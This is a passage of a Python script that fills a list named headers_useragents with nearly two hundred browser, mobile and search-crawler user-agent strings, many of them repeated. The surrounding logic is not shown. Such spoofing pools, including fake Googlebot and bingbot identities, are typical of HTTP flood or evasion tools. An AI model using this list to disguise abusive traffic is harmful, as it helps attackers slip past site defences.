  1957.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1958.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1959.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1960.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1961.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1962.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1963.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1964.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1965.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1966.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1967.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1968.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1969.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1970.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1971.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1972.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1973.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1974.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1975.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1976.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1977.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1978.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1979.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1980.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1981.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1982.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1983.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1984.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1985.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1986.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1987.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1988.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1989.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1990.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1991.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1992.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1993.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1994.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1995.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1996.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1997.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1998.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1999.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2000.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2001.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2002.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2003.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2004.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2005.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2006.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2007.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2008.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2009.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2010.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2011.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2012.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2013.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2014.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2015.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2016.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2017.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2018.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2019.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2020.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2021.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2022.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2023.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2024.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2025.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2026.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2027.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2028.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2029.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2030.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2031.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2032.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2033.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2034.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2035.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2036.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2037.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2038.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2039.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2040.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2041.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2042.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2043.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2044.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2045.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2046.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2047.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2048.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2049.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2050.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2051.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2052.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2053.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2054.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2055.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2056.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2057.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2058.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2059.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2060.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2061.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2062.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2063.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2065.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2066.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2067.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2068.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2069.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2070.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2071.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2072.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2073.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2074.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2075.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2076.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2077.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2078.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2079.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2080.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2081.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2082.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2083.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2084.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2085.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2086.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2087.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2088.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2089.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2090.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2091.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2092.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2093.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2094.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2095.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2096.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2097.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2098.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2099.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2100.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2101.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2102.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2103.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2104.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2105.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2106.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2107.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2108.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2109.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2110.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2111.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2112.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2113.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2114.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2115.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2116.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2117.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2118.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2119.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2120.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2121.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2122.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2123.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2124.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2125.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2126.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2127.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2128.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2129.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2130.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2131.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2132.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2133.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2134.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2135.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2136.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2137.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2138.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2139.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2140.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2141.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2142.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2143.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2144.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2145.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2146.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2147.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2148.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2149.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
